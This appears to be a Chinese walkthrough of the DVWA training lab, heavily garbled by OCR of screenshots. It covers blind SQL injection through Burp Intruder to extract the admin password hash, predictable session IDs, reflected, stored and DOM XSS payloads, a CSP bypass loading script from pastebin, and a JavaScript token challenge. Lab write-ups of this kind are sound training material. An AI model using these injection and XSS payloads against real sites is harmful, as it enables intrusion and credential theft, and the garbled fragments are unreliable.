Payload set: |2 F Payload count: 86

Payload type: | Numbers | Request count: 344

@ Payload Options [Numbers]

This payload type generates numeric payloads within a given range and in a specified format.

Number range
Type: @® Sequential () Random
From: '32

To: [117

Step: l1

4.

Target | Positions

#§ Intruder attack 8

@ Payload Sets Attack Save Columns
You can define or_[ Results I Target I Positions l Payloads I Options ] [for each payload set,
d each d
and each payloa ‘ Filter: Showing all items ‘@
Payload set. E Request | Payload1 | Payload2 |Status 4| Eror | Timeout| Length | Comment
Payload type: w 0 200 O [ 4848 A
219 3 101 1200 U L) 4848 |
332 4 14 200 UJ (] 4848
@ Payload Optiol| 334 2 115 200 a (] 4848
This payload type M 1 17 200 | [ 4848
1 1 32 404 d [ 4838
Number range | 2 2 32 404 @] (] 483
Tvpe: 3 3 32 404 0 [ 4838
yee 4 4 32 404 a O 4838 2
an‘li ,_qu 4 2 Ana — —/ ADAn T
To: Request | Response
Step: Raw ] Params IHeaders Hex
GFT Ta

5.
[Target IF'ositinns T =




TH2

=}
You can define on : H
and each payload ontro

Payl
ayload set \i Requ

| on wi
Payload type ‘E 0 odits” or

279 ; ' ,101, 114, 11
332 |NETH

11334

41 ’ A
This payload type : . ’ ] ’ r |

Type

From:
To:

Step:

218 BT 7 AT A ) Husers R B HE ) F BB (user, password&E H#E) -

1' and length((select password from users where user='admin'))=32 -- qwe

1' and ascii(substr((select password from users where user="'admin'),1,1))=117 -- qwe

[chr(i) for i in

[97,54,54,97,98,98,53,54,56,52,99,52,53,57,54,50,100,56,56,55,53,54,52,102,48,56,51,52,54,101,56,100] ]
a66abb5684c45962d887564F08346e8d (TEEE — X1~ CSRF I % 2 50 X B ilkadmin123456 1 )

1.

'Targel Paositions | Payloads ] Options I

©)

2.

Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which payloads are assigned to payload positions - see help for full
details

Attack type: | Cluster bomb _vJ
GET A

. . . . — . - - . - — . — - - r
/vulnerabilities/sqli_blind/?id=1%27 +and+ascii%28substr%28%28select+password +from+users +where +user%3D %27 admin%27 %29%2C81§%2C1%2
--+qwe&Submit=Submit HTTP/1.1

Host: b20b47d25e6e4146a001badb6fd05%ad.app.mituanzone

Upgrade-Insecure-Requests: 1

DNT:1

User-Agent: Mozilla/5.0 (Windows NT 10.0; 'Win64; x64) Apple'VebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36
Accept: text/html,application/xhtml+xmil,application/xml;q=0.9,image/webp,image/apng,*/*,q=0.8,application/signed-exchange,v=b3;9=0.9
Referer:

http://b20b47d25e6e4146a001badbfd05%ad.app.mituanzone/vulnerabilities/sqli_blind/?id=1%27 +and +length%28%28select+password +from +users +where +user%3D
%27 admin%27 %29%29%303 2 +-- +qwe&Submit=Submit

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie: PHPSESSID =cev25n95v4b830il653r8in507; security =low

Connection: close

‘Targel Positions | Payloads | Options I

@

You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Various payload types are available for each payload set,
and each payload type can be customized in different ways

Payload set: |1 lJ Payload count: 32
Payload type: | Numbers v Request count: 2,752
This payload type generates numeric payloads within a given range and in a specified format

Type: ® Sequential () Random

From: 1



To: 32
Step: 1
How manw-

3.

Target | Positions | Payloads I Options ]
@ Payload Sets

You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Various payload types are available for each payload set,
and each payload type can be customized in different ways

Payload set: |2 v Payload count: 86
Payload type: | Numbers v Request count: 2,752

® Payload Options [Numbers]

This payload type generates numeric payloads within a given range and in a specified format.

Type (® Sequential (L Random
From: 32

To: 17

Step: 1

How manw-

4,
Target Pnsilion‘ : VL
=—————— Request |Payloadl | Payload2 | Status 4| Error | Timeout | Length | Comment
@ Payload § 2081 1 o7 200 O O 484 z
650 10 52 200 ) [J 4848 '
You can de| 2155 1 99 200 O [ 4848 ilable for each payload set,
and each p{| gcp 12 52 200 O O 4848
685 13 53 200 O [] 4848
Payload se
814 14 57 200 J J 4848
Payload tyg| 719 15 54 200 ) [J 4848
592 16 50 200 ] LJ 4848
2193 17 100 200 O [ 4848
@ Payload | 786 18 56 200 0 (] 4848
) 787 19 56 200 J J 4848
This payloal
706 2 54 200 O [] 4848
| 756 20 55 200 O [ 4848
693 21 53 200 ) [J 4848
Type 726 2 54 200 O O 4848
e 663 23 52 200 O [ 4848
2264 24 102 200 O [J 4848
To: 537 25 48 200 U LJ 4848
794 26 56 200 O [] 4s48
Step: 635 27 51 200 O [] 4848 .
How manv- ;r = = 2en = = Losn T
5.

Home Database Ba

ab6abb5684¢c45962d887564f08346e8d

auto

Result:
admin123456

C:\Windows\system32\cmd.exe - python
i in [117, 115, 101, 114]]




Weak Session IDs

FH P05 A ARG 2 B, —RRIR S BRI — AN F4EF sessionid &), HTHrIH. —4 SessionDEtu M —AN% i, H
P& Fsessionid JEHt &7 2 cookies I, Z 5 RE & cookies FHj i RG2S, MRS AERLHET .

<?php
$html = "";
if ($_SERVER['REQUEST_METHOD'] == "POST") {

if (lisset ($_SESSIONJ[ 'last_session_id'])) {
$_SESSION[ 'last_session_id'] = 0;

}

$_SESSION[ 'last_session_id']++;

$cookie_value = $_SESSION['last_session_id'];

setcookie("dvwaSession", $cookie_value);

}

?>

XNMEEEWA, BERdER, £FEMiEcookiel (fMisession idiftEcookie HTH) »
XSS (DOM)

Vit http://b20b4a7d25e6e4146a001bad6+de59eas . app.mituan.zone/vulnerabilities/xss_d/?default=<script>alert(1)

</script>

b20b47d25e6e4146a001ba46fd05%a4.app.mituan.zone/vulnerabilities/xss_d/?default=<script>alert(1) </script>

..A7d25e6e4146a001bad6fd05%ead.app.mituan.zone B
1

» Scripting (XSS)

Home | -

Instructions |

Setup / Reset DB | Please choose a language:
v

Brute Force |

Command Injection |

XSS(Reflected)



MAKEHIN: <script>alert('#H ' )</script> , FRIZEITA]

| b20b47d25e6e4146a001bad46fd059ead.app.mituan.zone/vulnerabilities/xss_r/?name= <script>alert%28%27i#E1%27%29 < %2Fscript>#

..47d25e6e4146a001bad6fd059ead app.mituan.zone &7~

e

XSS(Stored)

Vulnerability: Stored Cross Site Scripting (XSS)

Home |
Instructions |
= ok | Name * mituan.zon
p/ Rese
<script=alert(’mituan.zone™ )</script=
Message *

Brute Force | P
Command Injection | | Sign Guestbook || Clear Guestbook |
CSRF |

|

Cila lmalhuainm

¥ chead>..</head>
¥ <body class="home">»

Vulnerability: Stored Cross Site ! iy 14 containers

Home |
N P odiv id="header">..</div>
Instructions | b cdiv id="mai .
Name * <div id="main_menu">..</div>
Setup / Reset DB | ¥ <div id="main_body ">
¥<div class="body_padded”>
Brute F | Message * <hl>Vulnerability: Stored Cross Site Scriptin
- LLEE P odiv class="wvulnerable code_area"»..</div>
Command Injection | | Sign Guestbook || Clear Guestbook | <br:
P <div id="guestbook_comments">..</div:
CSRF | i
¥<div id="guestbook_comments" >
File Inclusion | “Name: mituan.zen"
<br>
File Upload | Name: test
Message: This is a test comment. eSS EES
Insecure CAPTCHA | <scriptralert( mituan.zone™ )</script> {= $6
L Name: mituan zon <br>
SQL Injection | Message <fdiv>
SQL Injection (Blind) | <br:
H <h2>M Inf tion</h2:>
Weak Session IDs | More Information e remmetien !
X8$ (DOM) | . </div>
<br:>
X8$ (Reflected) | . o
‘ | * </div>
.
<div class="clear">
CSP Bypass | </div>
JavaScript | P <div id="system_info">..</div>
P <div id="footer">.</div>

i ¢ feldivs
KIBRBENZA A LA

CSP Bypass



Content-Security-Policy 4 & %2 4= SR BE R FeHTTPIR B R SR R HIFRAS, W B2 SARIEAR S I P92, A BT 3R 2 B3 0 ] DA 3 B,
1T. RANT ERBENBESHARE (XSS) , CSPHSERMLALZHEHIE, WG URE i, WL gIEn] LN
7o

o . Vulnerability: Content Security Policy (CSP) Bypass

Instructions |

Setup / Reset DB | You can include scripts from external sources, examine the Content Security Policy and enter a URL to
include here:

Brute Force Ihttps //pastebin.com/raw/R570EE00 || Include |

Command Injection

CSRF

More Information

File Inclusion
File Upload
Insecure CAPTCHA

L Module developed by
SQL Injection

SQL Injection (Blind)

Weak Session IDs
XSS (DOM)
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Response from http://b20b47d25e6e4146a001ba46fd059ea4 app.mituan.zone:80/vulnerabilities/csp/ [54.222 208.118]

[ Forward J l Drop J Intercept is on Action

| Raw | Headers | Hex | HTML | Render |

<li class=""><a href="./../vulnerabilities /javascript/">JavaScript</a> </li>
</ul><ul class="menuBlocks"> <li class=""><a href="../../security.php”">DVWA Security</a> </li>
<li class=""><a href="./../phpinfo.php">PHP Info</a></li>
<li class=""><a href="././about.php">About</a> </li>
</ul><ul class="menuBlocks"><li class=""><a href="../../logoutphp">Logout</a></li>
</ul>
</div>

</div>
<divid="main_body">

<div class="body padded">
<h1>Vulnerability: Content Security Policy (CSP) Bypass</h1>

<div class="vulnerable code area”>
<script src="https://pastebin.com/raw/R570EEDQ" > < /script>

<form name="csp” method="POST">
<p>You can include scripts from external cources, examine the Content Security Policy and enter a URL to include here:</p>
<input size="50" type="text" name="include” value=""id="include" />
<input type="submit" value="Include" />
</form>
</div>
<h2>More Information</h2>

JavaScript Attacks
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Home . Vulnerability: JavaScript Attacks




Instructions |

Setup / Reset DB | Submit the word "success” to win.
Invalid token.

Brute Force 5
Phrase success Submit

Command Injection

CSRF

More Information

File Inclusion

File Upload
Insecure CAPTCHA
SQL Injection

SQL Injection (Blind)
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Weak Session IDs
XSS (DOM)

X838 (Reflected)
X8 8§ (Stored)
CSP Bypass
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MD5 code from here
https://github. com/bluelimp/ Javascript-NDE t0k9ﬂ| 1/3 ~ v X
*

Vfunction(n) {"use strict”;function tin, t) {var r=(65E35En)+(6EE36&t)  return(n>>16)+(t>>16) +(r>>16) <16 |65536kr} function
(r+a4>>>0{4) =r var &, 1, a,d, b, 1=1732584193, g=-271733879, v=-1732584194, m=27 1733878 for (e=0 e<n. length;e+=168)i=1, a=g, d=v,
fvar t,r="", e=3%4n. length for (t=0;t<e;t+=3)r+=Strine. fromCharCode (n[t>>5]>>»1%326255) ;return ) function din) var t,r=

function rotl3linp) |
return  inp.replacel/[a-z&-Z]/z, function(c) fretwrn  Strins. fromCharCode((<="Z"7090:122)»=(c=c. charCodeit (

i
function generate token() 1|
var phrase = document. zetElementByld("phrase™). value;
document. getElementById(“token™). value = md5(rotl3(phrase));
}
Igenerate_token()l
{fseript
EOF;
s

i NHME % A\success, RJE7Econsole AT generate token(); , AR

> generate_token();

Vulnerability: JavaScript Attacks

Submit the word "success" to win.

Well danel

Phrase success Submit

More Information
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= https://www.youtube.com/watch?v=cs7TEQdWO5008&index=

Module developed by Digininja.

B S
B GREIRIRSE, EFHATRZ ERITH%.
HEEENES sarzm ) eamE ( num ) oaw

BE o

B

Damn Vulnerable Web Application (DVWA) \ -

B TTET A login BEEEE] Isetup.php, TEIHES Midicreate/reset database” EE#ITE, A login (KEISTEF
&, SLE/EE Hogin.php.

BREETE:  (EEE—)

pe=
BFAE admin pablo gordonb 1337 smithy =rR DVWA
2y password letmein abc123  charley password
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https://www.zhihu.com/people/eumeniders/posts?page=2
https://www.zhihu.com/column/manok
https://blog.csdn.net/qqchaozai/article/details/102756976
https://www.cnblogs.com/jojo-feed/tag/DVWA/
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